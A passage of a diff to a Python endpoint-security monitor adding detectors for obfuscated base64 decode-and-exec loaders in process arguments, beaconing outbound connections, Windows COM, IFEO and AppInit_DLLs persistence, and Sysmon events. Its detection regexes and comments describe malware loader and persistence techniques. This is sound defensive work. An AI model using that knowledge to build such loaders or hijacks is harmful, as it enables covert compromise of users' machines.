re.I), +) + +# Gate 2a: >=100 chars of pure base64/base64url alphabet ('=' only as trailing +# padding, so a `VAR=` assignment cannot glue a low-entropy prefix onto +# the run). 100 is tuned to reality: a one-stage loader is rarely under ~75 +# raw bytes, while no flag value/version string/path on a measured live table +# reaches it with entropy to spare (see _BLOB_MIN_ENTROPY). +_B64_BLOB_RE = re.compile(r"[A-Za-z0-9+/_-]{100,}={0,2}") +# bits/char: random base64 ~5.8, base64-of-text ~5.3; the benign ceiling is +# camelCase flag values ~4.3, paths/English runs ~4.0. 4.5 splits the gap. +_BLOB_MIN_ENTROPY = 4.5 +# Gate 2b: in-process decode markers _hostile_content has no idiom for +# (python/ruby/perl; the JS half deliberately REUSES the supply-chain tables +# _PKG_JS_DECODE_RES below — same vectors, different surface). Shell-level +# `base64 -d` / FromBase64String are already idioms and stay theirs. +_ARGV_DECODE_RE = re.compile( + r"\b(?:base64\.(?:standard_|urlsafe_)?b(?:16|32|64|85)decode|b64decode|" + r"a2b_base64|bytes\.fromhex|codecs\.decode|Base64\.(?:urlsafe_)?decode64|" + r"decode_base64|unpack\s*\(\s*['\"]m)", re.I) +# The supply-chain Buffer.from regex bounds its interior run at 80 chars — +# right for a package script, but an argv blob IS the call's first argument +# and routinely exceeds it. Decoupled co-occurrence (Buffer.from + an encoding +# literal, both required) spans any blob length without an unbounded run. +_ARGV_JS_BUFFER_RE = re.compile(r"\bBuffer\.from\s*\(", re.I) +_ARGV_ENC_LITERAL_RE = re.compile(r"['\"](?:base64|hex)['\"]", re.I) +_ARGV_EXEC_MARK_RE = re.compile( + r"\b(?:exec|eval)\s*\(|\bnew\s+Function\s*\(|" + r"require\s*\(\s*['\"]child_process['\"]|\bos\.system\s*\(|" + r"\bsubprocess\b|\b__import__\s*\(|\bsystem\s*\(|" + r"\bInvoke-Expression\b|\bIEX\b", re.I) +# Exec sinks that RUN code (escalation set for a co-occurring blob): +# decode-only members excluded so `echo | base64 -d > file` — decode +# with no execution — cannot escalate itself. +_ARGV_EXEC_SINKS = _PIPE_EXEC_IDIOMS - frozenset( + ("base64-decode", "powershell-base64-decode")) + + +def _shannon_bits(s): + """Shannon entropy of `s` in bits/char (0.0 for empty).""" + if not s: + return 0.0 + n = float(len(s)) + ent = 0.0 + for c in set(s): + p = s.count(c) / n + ent -= p * math.log(p, 2) + return ent + + +def _b64_decodable(run): + """Does `run` actually base64-decode? Trimmed to a 4-multiple (a ps-joined + argv can shear trailing chars). A run is std-alphabet OR urlsafe, never + both: '+/' and '-_' mixed together decodes under no base64 flavor — and + that mix is exactly the shape of a high-entropy PATH (UUID/hash dirs mix + '/' separators with '-'), the one benign string class measured to clear + the entropy floor on a live process table.""" + head = run[:len(run) - len(run) % 4] + if not head: + return False + std = "+" in head or "/" in head + url = "-" in head or "_" in head + if std and url: + return False + try: + base64.b64decode(head, altchars=b"-_" if url else None, validate=True) + return True + except Exception: + return False + + +def _obfuscated_payload_signals(argv, idioms): + """[(name, severity)] for an interpreter running OBFUSCATED inline code + (`idioms` = this argv's _hostile_content hits, computed by the caller). + Gate 1 is mandatory: no code-execution flag, no scoring. Gate 2: the code + argument carries a long high-entropy base64-alphabet blob that really + decodes ("obfuscated-inline-payload"), or composes an in-process decode + with an exec call ("argv-encoded-loader" — the argv twin of the supply- + chain js-encoded-loader). MEDIUM alone, below the notify floor; HIGH only + when the argv also fetches, or the blob feeds a recognized exec sink.""" + starts = [m.end() for m in + (rx.search(argv) for rx in _INLINE_CODE_FLAG_RES) if m] + if not starts: + return [] + code = argv[min(starts):][:_HOSTILE_SCAN_LIMIT] + blob = any(_shannon_bits(run) >= _BLOB_MIN_ENTROPY and _b64_decodable(run) + for run in _B64_BLOB_RE.findall(code)) + loader = bool((_ARGV_DECODE_RE.search(code) + or any(rx.search(code) for rx, _n in _PKG_JS_DECODE_RES) + or (_ARGV_JS_BUFFER_RE.search(code) + and _ARGV_ENC_LITERAL_RE.search(code))) + and _ARGV_EXEC_MARK_RE.search(code)) + if not blob and not loader: + return [] + fetch = bool(idioms & _FETCH_IDIOMS) or bool(_FETCH_RE.search(argv)) + sev = "HIGH" if fetch or (blob and idioms & _ARGV_EXEC_SINKS) else "MEDIUM" + out = [] + if blob: + out.append(("obfuscated-inline-payload", sev)) + if loader: + out.append(("argv-encoded-loader", sev)) + return out + def _argv_signals(argv): """Return [(name, severity)] for hostile patterns in a live process's argv @@ -4219,6 +4391,13 @@ def add(name, sev): # never benign); the fetch/pipe idioms alone stay MEDIUM (benign-installer FP). for name in idioms: add(name, "HIGH" if name in _UNAMBIGUOUS_HIGH_IDIOMS else "MEDIUM") + # Obfuscated inline payload — skipped when powershell-encoded-command + # already fired: that idiom IS this shape on Windows and is already HIGH, + # so re-scoring the same blob would double-report one argv and + # destabilize its fingerprint. + if "powershell-encoded-command" not in idioms: + for name, sev in _obfuscated_payload_signals(argv, idioms): + add(name, sev) for rx, name in _ANTIVM_ARGV_RES: if rx.search(argv): add(name, "MEDIUM") @@ -6353,18 +6532,105 @@ def check_outbound(): """Record the exfil shape the listener surface is structurally blind to: an untrusted binary in a user-writable path holding an ESTABLISHED outbound connection. We can't baseline-diff outbound (a browser opens hundreds), so - this scores live via _outbound_finding. Best-effort: a non-answer from the - platform probe yields no findings.""" + this scores live via _outbound_finding — and stores each scan's row set so + _beacon_recurrence can score the one key interval polling IS good at: the + same (binary, remote) pair persisting across scans. Best-effort: a + non-answer from the platform probe yields no findings and stores nothing + (an empty snapshot would be indistinguishable from a quiet machine).""" findings = [] seen = set() + snap_rows = [] for path, rip, rport in _outbound_rows(): key = "%s:%s:%s" % (path, rip, rport) if key in seen: continue seen.add(key) - f = _outbound_finding(path, rip, rport) + # Trust captured at observation time (sigcache makes the re-ask free) + # so the stored rows grade without re-classifying long-gone binaries. + resolvable = path.startswith("/") or (IS_WIN and ":" in path[:3]) + trust = classify_signature(path)["trust"] if resolvable else "unknown" + snap_rows.append((path, rip, rport, trust)) + # Community intel first (local set lookup): a known-C2 endpoint match + # is CRITICAL regardless of the binary's signature; only the rest + # falls through to the signature-gated generic scorer. + f = _intel_net_finding(path, rip, rport) or \ + _outbound_finding(path, rip, rport) if f: findings.append(f) + if snap_rows: + record_observation(BEACON_SENSOR_ID, sorted(snap_rows)) + findings += _beacon_recurrence( + _load_observations(BEACON_SENSOR_ID, BEACON_WINDOW_DAYS), snap_rows) + return findings + + +# --- Outbound recurrence (beacon shape) --------------------------------------- +# The live scorer above is per-scan by necessity — outbound churn defeats a +# baseline diff. RECURRENCE keys on the opposite invariant: browser churn does +# not survive between scans, a C2 beacon's (binary, remote ip:port) pair does. +BEACON_SENSOR_ID = "outbound.snapshot" +BEACON_MIN_SCANS = 3 +BEACON_MIN_SPAN_SECS = 45 * 60 +BEACON_WINDOW_DAYS = 7 + +# Browsers (and their helper processes) hold long-lived remote pairs +# legitimately (push channels, sync), so they are excluded by NAME as well as +# by trust — a user-installed browser outside a trusted prefix must stay +# silent. Mirrors _BROWSER_EXE_RE plus the macOS helper-suffix forms. +_BEACON_BROWSER_RE = re.compile( + r"(?:^|[/\\])(?:Google Chrome|Chromium|chrome|brave|Brave Browser|" + r"msedge|Microsoft Edge|firefox|Firefox|Safari|Opera|Vivaldi|Arc)" + r"(?:\.exe)?(?: Helper(?: \([^/\\]*\))?)?$", re.I) + + +def _beacon_recurrence(history, current_rows): + """HIGH findings for the beacon residue shape: a (path, remote ip:port) + pair live in THIS scan and already observed in >= BEACON_MIN_SCANS distinct + stored scans spanning >= BEACON_MIN_SPAN_SECS, from a non-browser binary + outside every trusted prefix whose signature is suspicious OR which runs + from a user-writable path. Pure over (ts, rows) snapshots — the platform + split already happened in _outbound_rows — so it is testable with synthetic + rows everywhere. The fingerprint is the pair, stable across scans: the + seen/signal machinery turns continued recurrence into one incident with a + climbing occurrence count, never a re-alert storm. Below-threshold + recurrence is deliberately not emitted — the live MEDIUM above already + feeds risk accumulation.""" + if not current_rows: + return [] + sightings = {} + for ts, rows in history: + if not isinstance(rows, (list, tuple)): + continue + for row in rows: + if not isinstance(row, (list, tuple)) or len(row) < 3: + continue + pair = (str(row[0]), str(row[1]), str(row[2])) + sightings.setdefault(pair, set()).add(int(ts)) + findings = [] + for row in sorted(set(tuple(r) for r in current_rows)): + path, rip, rport = str(row[0]), str(row[1]), str(row[2]) + trust = str(row[3]) if len(row) > 3 else "unknown" + stamps = sightings.get((path, rip, rport), ()) + if len(stamps) < BEACON_MIN_SCANS: + continue + span = max(stamps) - min(stamps) + if span < BEACON_MIN_SPAN_SECS: + continue + if _is_trusted_prefix(path) or _BEACON_BROWSER_RE.search(path): + continue + if not (suspicious_sig(trust) or is_risky_location(path)): + continue + findings.append(finding( + "HIGH", "net-beacon", + "Persistent outbound connection (beacon shape)", + "%s [%s] has held a connection to %s:%s in %d scans spanning " + "%.1f hours. Ephemeral outbound churn does not survive between " + "scans; the same non-browser binary re-observed at the same " + "remote endpoint is the residue an interval C2 beacon leaves." + % (path, trust, rip, rport, len(stamps), span / 3600.0), + "beacon:%s:%s:%s" % (path, rip, rport), path=path, program=path, + remote=rip, port=rport, trust=trust, scan_count=len(stamps), + span_secs=span, markers=["outbound-exfil", "beacon"])) return findings @@ -6573,6 +6839,249 @@ def changed_fn(key, payload, old): return _diff_map(prior, cur, new_fn, changed_fn) +# --- Windows: COM server hijacking (T1546.015) ------------------------------- +# The rung above Run keys: a per-user CLSID registration whose server DLL/EXE is +# swapped for a payload runs INSIDE whatever trusted process instantiates that +# COM object — no autostart entry, no Run key. HKCU wins over HKLM for the same +# CLSID, so a same-user attacker needs no admin. The event is a NEW or CHANGED +# server whose target resolves into a user-writable path; a registration that +# points at an admin-writable install tree (Program Files) is ordinary app churn +# and stays silent. Baseline-diffed like every other residue surface. +_COM_CLSID_KEY = r"Software\Classes\CLSID" + + +def _com_target(val): + """Resolve a CLSID server value to its program path. InprocServer32 stores a + bare DLL path; LocalServer32 stores an EXE command line — both go through the + same %VAR% expansion + quote/space splitter the Run-key path uses.""" + args = _win_split_cmd(_expand_win_env(val)) + return args[0] if args else None + + +def snapshot_com_hijack(): + """{clsid\\server: value} for HKCU CLSID InprocServer32/LocalServer32 default + values. The CLSID subtree is created lazily by the first per-user COM + registration, so its ABSENCE is a real empty ({}); a denied read is a + non-answer (None), never adopted as clean.""" + import winreg + try: + root = winreg.OpenKey(winreg.HKEY_CURRENT_USER, _COM_CLSID_KEY) + except FileNotFoundError: + return {} + except OSError: + return None + snap = {} + with root: + i = 0 + while True: + try: + clsid = winreg.EnumKey(root, i) + except OSError: + break + i += 1 + try: + ck = winreg.OpenKey(root, clsid) + except OSError: + continue + with ck: + for server in ("InprocServer32", "LocalServer32"): + try: + with winreg.OpenKey(ck, server) as sk: + val, _t = winreg.QueryValueEx(sk, "") + except OSError: + continue + if isinstance(val, str) and val.strip(): + snap["%s\\%s" % (clsid, server)] = val + return snap + + +def diff_com_hijack(prior, cur): + def _risky_target(val): + target = _com_target(val) + return target if (target and is_risky_location(target)) else None + + def new_fn(key, val): + target = _risky_target(val) + if not target: + return None + return finding( + "HIGH", "com-hijack", "New COM server hijack point", + "The COM registration %s now resolves to %r, a user-writable path. " + "A hijacked CLSID server runs inside whatever trusted process " + "instantiates the object — persistence with no Run key or task " + "(T1546.015). Confirm you installed this." % (key, target), + "com-hijack:new:%s:%s" % ( + key, hashlib.sha256(val.encode()).hexdigest()[:16]), + path=target, markers=["com-hijack"]) + + def changed_fn(key, val, old): + target = _risky_target(val) + if not target: + return None + return finding( + "HIGH", "com-hijack", "COM server hijack point CHANGED", + "The COM registration %s was repointed to %r, a user-writable path " + "(was %r). An in-place swap of an existing CLSID server keeps the " + "registration familiar while changing the code it runs " + "(T1546.015)." % (key, target, old), + "com-hijack:changed:%s:%s" % ( + key, hashlib.sha256(val.encode()).hexdigest()[:16]), + path=target, markers=["com-hijack"]) + return _diff_map(prior, cur, new_fn, changed_fn) + + +# --- Windows: IFEO Debugger + SilentProcessExit (T1546.012 / T1546.008) ------ +# An Image File Execution Options "Debugger" value hijacks a target binary: the +# named debugger launches INSTEAD of the target, with the target as its argument. +# Aimed at an accessibility binary (sethc.exe et al., reachable from the LOCK +# SCREEN) it is the classic pre-auth backdoor -> CRITICAL. SilentProcessExit +# MonitorProcess runs a program when a watched process exits — the same execute- +# on-event primitive. Writing these needs admin; READING them does not, and a +# value appearing is the signal regardless of who wrote it. +_WIN_IFEO_KEY = (r"Software\Microsoft\Windows NT\CurrentVersion" + r"\Image File Execution Options") +_WIN_SPE_KEY = (r"Software\Microsoft\Windows NT\CurrentVersion" + r"\SilentProcessExit") +_WIN_ACCESSIBILITY_BINS = frozenset(( + "sethc.exe", "utilman.exe", "osk.exe", "magnify.exe", "narrator.exe", + "displayswitch.exe")) + + +def snapshot_ifeo(): + """{debugger:|monitor:: value} across the two HKLM keys. + Either key being absent is a real empty for its half; a denied read of + either is a non-answer (None) for the whole surface.""" + import winreg + snap = {} + + def collect(subkey, value_name, prefix): + try: + root = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, subkey) + except FileNotFoundError: + return True # key not present = genuinely no entries + except OSError: + return False # denied/other = non-answer + with root: + i = 0 + while True: + try: + name = winreg.EnumKey(root, i) + except OSError: + break + i += 1 + try: + with winreg.OpenKey(root, name) as sk: + val, _t = winreg.QueryValueEx(sk, value_name) + except OSError: + continue + if isinstance(val, str) and val.strip(): + snap["%s:%s" % (prefix, name)] = val + return True + + ok1 = collect(_WIN_IFEO_KEY, "Debugger", "debugger") + ok2 = collect(_WIN_SPE_KEY, "MonitorProcess", "monitor") + if not (ok1 and ok2): + return None + return snap + + +def diff_ifeo(prior, cur): + def _sev(key): + kind, _, name = key.partition(":") + if kind == "debugger" and name.lower() in _WIN_ACCESSIBILITY_BINS: + return "CRITICAL" + return "HIGH" + + def _label(key): + return ("Debugger" if key.startswith("debugger:") + else "SilentProcessExit MonitorProcess") + + def new_fn(key, val): + _kind, _, name = key.partition(":") + return finding( + _sev(key), "ifeo", "New IFEO %s hijack" % _label(key), + "A %s value for %r appeared: %r. The named program runs in place of " + "(or on the exit of) the target — an execute-hijack that needs no " + "Run key or task (T1546.012/T1546.008)%s. Confirm this is expected." + % (_label(key), name, val, + "; the target is an accessibility binary reachable from the " + "lock screen — a pre-auth backdoor" + if _sev(key) == "CRITICAL" else ""), + "ifeo:new:%s:%s" % ( + key, hashlib.sha256(val.encode()).hexdigest()[:16]), + markers=["ifeo-hijack"]) + + def changed_fn(key, val, old): + _kind, _, name = key.partition(":") + return finding( + _sev(key), "ifeo", "IFEO %s hijack CHANGED" % _label(key), + "The %s value for %r changed to %r (was %r) — an in-place swap of " + "the executed program (T1546.012/T1546.008)." + % (_label(key), name, val, old), + "ifeo:changed:%s:%s" % ( + key, hashlib.sha256(val.encode()).hexdigest()[:16]), + markers=["ifeo-hijack"]) + return _diff_map(prior, cur, new_fn, changed_fn) + + +# --- Windows: AppInit_DLLs (T1546.010) --------------------------------------- +# Every DLL listed in AppInit_DLLs is force-loaded into every user-mode process +# that links user32.dll — a single value that injects code system-wide. It is +# disabled by default on modern Windows, so a non-empty value appearing (or an +# existing one changing) is a high-signal event on any machine. +_WIN_APPINIT_KEYS = [ + r"Software\Microsoft\Windows NT\CurrentVersion\Windows", + r"Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows", +] + + +def snapshot_appinit(): + """{key: AppInit_DLLs value} for each non-empty value across the native and + WOW64 keys. A missing key/value is a real empty; a denied read is a + non-answer (None).""" + import winreg + snap = {} + for subkey in _WIN_APPINIT_KEYS: + try: + k = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, subkey) + except FileNotFoundError: + continue + except OSError: + return None + with k: + try: + val, _t = winreg.QueryValueEx(k, "AppInit_DLLs") + except OSError: + continue + if isinstance(val, str) and val.strip(): + snap[subkey] = val.strip() + return snap + + +def diff_appinit(prior, cur): + def new_fn(key, val): + return finding( + "HIGH", "appinit", "AppInit_DLLs is now set", + "AppInit_DLLs under %s is now %r. Every DLL listed here is loaded " + "into every user-mode process that links user32 — a system-wide " + "code-injection persistence primitive that is disabled by default " + "(T1546.010). Confirm you set this." % (key, val), + "appinit:new:%s:%s" % ( + key, hashlib.sha256(val.encode()).hexdigest()[:16]), + markers=["appinit-dll"]) + + def changed_fn(key, val, old): + return finding( + "HIGH", "appinit", "AppInit_DLLs CHANGED", + "AppInit_DLLs under %s changed to %r (was %r) — the set of DLLs " + "force-loaded into every GUI process was modified (T1546.010)." + % (key, val, old), + "appinit:changed:%s:%s" % ( + key, hashlib.sha256(val.encode()).hexdigest()[:16]), + markers=["appinit-dll"]) + return _diff_map(prior, cur, new_fn, changed_fn) + + # --- Unified-log security harvest (Gatekeeper / syspolicy denials) ------------ _SYSPOLICY_DENY_RE = re.compile( r"\b(?:denied|blocked|rejected|will not be permitted|gke.*deny)\b", re.I) @@ -6877,6 +7386,174 @@ def check_windows_event_log(): return findings +# --- Windows: Sysmon Operational channel harvest ----------------------------- +# Sysmon (Sysinternals) is an OPTIONAL driver that logs high-fidelity telemetry +# to Microsoft-Windows-Sysmon/Operational. Where it is installed this is a +# far richer feed than the built-in logs, but it exists on a minority of hosts, +# so the sensor is REGISTERED ONLY when the channel exists (see _sysmon_sensor): +# channel absent = Sysmon not installed = sensor ABSENT, not a DEGRADED row for +# a product that is not there. Kept deliberately narrow — three event IDs whose +# meaning is unambiguous — riding the same windowed Get-WinEvent shape and the +# same _parse_win_events `log|id|time|message` contract as the event-log harvest. +_SYSMON_CHANNEL = "Microsoft-Windows-Sysmon/Operational" +# The channel's registration key; its presence is how we know Sysmon is +# installed without shelling out. +_SYSMON_CHANNEL_KEY = (r"SOFTWARE\Microsoft\Windows\CurrentVersion" + r"\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational") +# EID 1 ProcessCreate (scored, not blanket-reported), 6 driver loaded, 25 +# process tampering. The full (untruncated) message carries the fields we parse. +_SYSMON_PS = ( + "try{$evts=Get-WinEvent -FilterHashtable @{" + "LogName='Microsoft-Windows-Sysmon/Operational';Id=@(1,6,25);" + "StartTime=(Get-Date).AddHours(-6)} -MaxEvents 200 -ErrorAction Stop}" + "catch{if($_.Exception.Message -match 'No events were found'){exit 0}" + "else{Write-Output 'sysmon-probe=failed';exit 0}};" + "foreach($e in $evts){$m=($e.Message -replace '\\s+',' ');" + "Write-Output ('Microsoft-Windows-Sysmon/Operational|' + $e.Id + '|' + " + "$e.TimeCreated.ToString('o') + '|' + $m)}") + +# Sysmon messages are `Field: value Field2: value2 ...` on one line (post the +# whitespace-collapse above). Field names are CamelCase tokens; a value ends +# where the next field label begins. Windows paths (`C:\...`) carry a colon but +# never a `colon-space`, so they are not mistaken for a field boundary. +_SYSMON_KV_RE = re.compile(r"(?:^|\s)([A-Z][A-Za-z0-9]*):\s") + + +def _parse_sysmon_kv(msg): + """Pure parser: a one-line Sysmon message -> {field: value}. Tolerant of + junk (never raises); an empty/label-free message yields {}.""" + if not msg: + return {} + matches = list(_SYSMON_KV_RE.finditer(msg)) + kv = {} + for i, m in enumerate(matches): + start = m.end() + end = matches[i + 1].start() if i + 1 < len(matches) else len(msg) + kv[m.group(1)] = msg[start:end].strip() + return kv + + +def _sysmon_eid1(msg, ts): + """ProcessCreate: score CommandLine through _argv_signals and Image through + is_risky_location; surface ONLY what scores (EID 1 is high-volume).""" + kv = _parse_sysmon_kv(msg) + image = kv.get("Image") or "" + cmd = kv.get("CommandLine") or "" + signals = _argv_signals(cmd) + risky = is_risky_location(image) + if not signals and not risky: + return None + digest = hashlib.sha256( + ("%s\x00%s" % (image, cmd)).encode("utf-8", "replace")).hexdigest()[:16] + if signals: + sev = max(signals, key=lambda s: SEV_ORDER[s[1]])[1] + names = [n for n, _s in signals] + detail = ("Sysmon ProcessCreate at %s: %s [%s]" + % (ts, image or cmd, ", ".join(names))) + markers = names + ["sysmon-eid1"] + else: + sev = "MEDIUM" + detail = ("Sysmon ProcessCreate at %s: %s ran from a user-writable " + "path (%s)" % (ts, image, cmd[:200])) + markers = ["risky-path-exec", "sysmon-eid1"] + return finding(sev, "sysmon", "Sysmon process creation", detail, + "sysmon:1:%s" % digest, path=image or None, markers=markers) + + +def _sysmon_eid6(msg, ts): + """Driver loaded: an unsigned / not-validly-signed kernel driver is HIGH + (ring-0 code with no vouching signature). A validly-signed driver is + silent.""" + kv = _parse_sysmon_kv(msg) + driver = kv.get("ImageLoaded") or "" + signed = (kv.get("Signed") or "").strip().lower() + status = (kv.get("SignatureStatus") or "").strip().lower() + if signed == "true" and status == "valid": + return None + digest = hashlib.sha256(driver.encode("utf-8", "replace")).hexdigest()[:16] + return finding( + "HIGH", "sysmon", "Sysmon: unsigned driver loaded", + "Sysmon logged a driver load at %s: %s (Signed=%s, SignatureStatus=%s)" + " — an unsigned or invalidly-signed kernel driver runs in ring 0 and " + "can hide from every userland check." % ( + ts, driver, kv.get("Signed") or "?", + kv.get("SignatureStatus") or "?"), + "sysmon:6:%s" % digest, path=driver or None, + markers=["unsigned-driver", "sysmon-eid6"]) + + +def _sysmon_eid25(msg, ts): + """Process tampering (image replacement / process hollowing) — HIGH.""" + kv = _parse_sysmon_kv(msg) + image = kv.get("Image") or "" + ttype = kv.get("Type") or "" + digest = hashlib.sha256( + ("%s\x00%s" % (image, ttype)).encode("utf-8", "replace")).hexdigest()[:16] + return finding( + "HIGH", "sysmon", "Sysmon: process tampering", + "Sysmon reported process tampering at %s: %s (Type: %s) — image " + "replacement / hollowing runs code the on-disk file no longer reflects." + % (ts, image, ttype or "?"), + "sysmon:25:%s" % digest, path=image or None, + markers=["process-tampering", "sysmon-eid25"]) + + +_SYSMON_SCORERS = {"1": _sysmon_eid1, "6": _sysmon_eid6, "25": _sysmon_eid25} + + +def _sysmon_findings(rows): + """Pure: parsed `_parse_win_events` rows -> findings, deduped by fingerprint. + Unknown event IDs are ignored (the harvest asks only for 1/6/25, but a + stray row must never fabricate a finding).""" + findings = [] + seen = set() + for _log, eid, ts, msg in rows: + scorer = _SYSMON_SCORERS.get(eid) + if not scorer: + continue + f = scorer(msg, ts) + if not f or f["fingerprint"] in seen: + continue + seen.add(f["fingerprint"]) + findings.append(f) + return findings + + +def check_sysmon_log(): + out, _, rc = run(["powershell", "-NoProfile", "-NonInteractive", "-Command", + _SYSMON_PS], timeout=120) + # Non-zero exit (timeout, missing PowerShell, blocked policy) is a + # non-answer. So is the explicit sentinel the probe emits when Get-WinEvent + # failed for a reason OTHER than "no events" — the channel was there and the + # read did not succeed, which is DEGRADED, not clean. A clean run with no + # matching events in the window is a real empty ([]). + if rc != 0: + return None + if "sysmon-probe=failed" in (out or ""): + return None + return _sysmon_findings(_parse_win_events(out)) + + +def _sysmon_sensor(): + """Register the Sysmon harvest ONLY where the Operational channel exists + (Sysmon installed). Channel absent = product not installed = sensor absent, + exactly like a launchd check on Linux — never a DEGRADED row for a tool that + is not there. When the channel key cannot be READ (denied), absence cannot + be proven, so we register and let check_sysmon_log degrade honestly.""" + try: + import winreg + except Exception: + return [] + try: + with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, _SYSMON_CHANNEL_KEY): + pass + except FileNotFoundError: + return [] + except OSError: + pass # denied/other: cannot prove absence -> register + return [("sysmon-log", check_sysmon_log, ())] + + # --- Auth sessions (remote login / screen sharing) --------------------------- def _parse_who_remote(text): """{user@host:tty: host} for REMOTE sessions only — a parenthesized origin at @@ -8544,6 +9221,9 @@ def cmd_glean(mode="new"): diff_win_exclusions), ("win_wmi_subscriptions", snapshot_wmi_subscriptions, diff_wmi_subscriptions), + ("win_com_hijack", snapshot_com_hijack, diff_com_hijack), + ("win_ifeo", snapshot_ifeo, diff_ifeo), + ("win_appinit", snapshot_appinit, diff_appinit), ] # Surfaces whose first-sight items are LIVE risks, not installed-residue: they @@ -8991,6 +9671,7 @@ def gather_all(baseline_snap, current_snap, health=None): sensors += [ ("windows-event-log", check_windows_event_log, ()), ] + sensors += _sysmon_sensor() # only where the Sysmon channel exists # ONE process-table walk for the whole sensor loop. Built through the # module-level _iter_processes (cache is None here, so this is a live walk, # and a test that stubs _iter_processes still flows through), then armed so @@ -9006,6 +9687,13 @@ def gather_all(baseline_snap, current_snap, health=None): findings += _collect_sensor(sensor_id, fn, health_sink, *args) finally: _PROC_SNAPSHOT = None + # Community-intel grading (see cmd_intel) — a local set lookup over the + # hashes the sensors above already computed plus the persistence + # snapshot's. Scheduled only when local intel EXISTS: a machine that never + # ran `intel update` has no "intel" sensor at all (absent, not degraded). + if any(_intel_sets()): + findings += _collect_sensor("intel", check_intel, health_sink, + current_snap, findings) # Stamp the human-presence regime once per scan (not per finding — the # probe shells out, and paying that per finding would be absurd). This is # EVIDENCE ONLY and must stay that way: idle time is forgeable by a @@ -9556,10 +10244,27 @@ def cmd_incidents(show_all=False): "the flagged idiom (decode-and-exec) is what matters.", "net-listener": "Dev servers, Docker, syncthing, and AirPlay bind ports; " "loopback-only listeners are already excluded.", + "net-beacon": "A long-lived sync/telemetry daemon you installed (syncthing, " + "tailscaled, a backup agent) holds one endpoint across scans, " + "which is the same SHAPE as a beacon — check the binary.", "btm": "Any app you install can register a login item or background agent.", - "browserext": "Extensions you installed yourself appear here on first sight.", - "ide_ext": "VSCode/Cursor extensions auto-update, which re-fires this.", - "wallet": "Wallet apps rewrite their own config on update or account change.", + # Keyed on the finding CATEGORY, which is hyphenated. The surface ids + # ("browserext", "ide_ext") are a different namespace, and using those + # spellings here meant _benign_note_for's exact lookup never matched, so + # these two notes silently never rendered on the surfaces that need them + # most. + "browser-ext": "Extensions you installed yourself appear here on first sight.", + "ide-ext": "VSCode/Cursor extensions auto-update, which re-fires this.", + "com-hijack": "Dev tools and Office add-ins register per-user COM servers " + "under HKCU; a target inside Program Files is ordinary.", + "appinit": "A few legacy IME/accessibility tools still use AppInit_DLLs.", + "sysmon": "Your own scripting produces EID 1 constantly — the flagged argv " + "idiom is the signal, not the process itself.", + "intel": "A recent-window community feed can list a shared CDN/VPS address " + "someone else abused, so an ip:port hit is far weaker evidence " + "than a hash hit; verify before acting on the endpoint alone.", + "wallet-integrity": "Wallet apps rewrite their own config on update or " + "account change.", "web-protection": "Editing /etc/hosts for local development is expected.", "hardening": "A deliberately disabled firewall or Remote Login you enabled.", "canary": "A backup/indexing tool touching the decoy file, or your own edit.", @@ -9887,6 +10592,24 @@ def cmd_doctor(): ("✓" if state_mode == 0o700 else "?", state_mode)) if state_mode != 0o700: problems.append("state permissions") + # Runtime-copy drift is rot, and doctor is where rot surfaces: the + # background monitor executes ~/.aegis/aegis.py, not this file, so a stale + # copy means every scheduled scan silently runs OLD code. + rt = _runtime_copy_status() + if rt == "drift": + print(" ✗ runtime copy STALE — refresh: %s" + % _refresh_line()) + problems.append("runtime copy stale") + elif rt == "unknown": + print(" ? runtime copy could not be hashed " + "(unknown, not clean)") + problems.append("runtime copy unknown") + elif rt == "in-sync": + print(" ✓ runtime copy in sync with this file") + elif rt == "self": + print(" ✓ runtime copy running the installed copy") + else: + print(" · runtime copy not installed (manual runs only)") for path in (os.path.join(HOME, "Downloads"), os.path.join(HOME, "Desktop")): try: iterator = os.scandir(path) @@ -9909,6 +10632,16 @@ def cmd_doctor(): item["consecutive_failures"], item["detail"] or "")) if item["status"] != "OK": problems.append(item["sensor_id"]) + # INFO, never a problem: rootwatch is opt-in, but its absence is worth one + # honest line — without it a same-uid attacker can kill Aegis and the + # user-level watchdog together, alert-free until the notary is read. + if not IS_WIN: + print(" %s %-27s %s" % ( + ("✓", "rootwatch (root witness)", "installed (opt-in)") + if _rootwatch_installed() else + ("i", "rootwatch (root witness)", + "absent — OPT-IN; the kill gap is open: run " + "`aegis.py rootwatch install`"))) incidents = list_incidents() print("\n %s active incident%s" % (len(incidents), "" if len(incidents) == 1 else "s")) @@ -10007,6 +10740,8 @@ def cmd_status(): "✓" if _heartbeat_url() else "·", "Off-host heartbeat", "configured (out-of-band alerting on)" if _heartbeat_url() else "off (local-only; set AEGIS_HEARTBEAT_URL to enable)")) + intel_mark, intel_text = _intel_summary() + print(" %s %-32s %s" % (intel_mark, "Intel feeds", intel_text)) if os.path.exists(WATCHDOG_ALERT): try: with open(WATCHDOG_ALERT, encoding="utf-8") as f: @@ -10117,6 +10852,325 @@ def cmd_vt(target): return 0 +# --------------------------------------------------------------------------- # +# Community IOC intel (`aegis.py intel …`) — glean's doctrine generalized to +# every OS: a dated, offline intel corpus graded over work the scan ALREADY +# does. `intel update` is the by-hand fetch half (two public abuse.ch exports; +# nothing about this machine is in the request and nothing but a public list +# arrives); the scan half only ever READS the normalized local artifacts. With +# no fetched intel the surface simply does not exist — never a degraded +# sensor — and the scan path stays structurally incapable of network I/O. +# --------------------------------------------------------------------------- # + +_INTEL_CACHE = None # (file stat stamp, sha256→meta, "ip:port"→meta) + + +def _looks_like_ip_port(s): + return bool(re.fullmatch(r"\d{1,3}(?:\.\d{1,3}){3}:\d{1,5}", s or "")) + + +def _intel_str(v): + """Feed metadata sanitizer: a short non-empty string or nothing — a hostile + feed value can't smuggle structures into state files or finding text.""" + if isinstance(v, str) and v.strip(): + return v.strip()[:120] + return None + + +def _parse_bazaar_sha256_export(text): + """Pure parser: MalwareBazaar's plain-text SHA256 export (`#` comment + lines, one hash per line) → sorted, case-folded, deduplicated list. + Garbage lines are dropped, never raised on.""" + out = set() + for line in (text or "").splitlines(): + s = line.strip().strip('",') + if not s or s.startswith("#"): + continue + if _looks_like_sha256(s): + out.add(s.lower()) + if len(out) >= INTEL_MAX_HASHES: + break + return sorted(out) + + +def _parse_threatfox_export(data): + """Pure normalizer: ThreatFox's JSON export (dict of id → list of IOC + rows) → (sha256→meta, "ip:port"→meta). ONLY hashes and 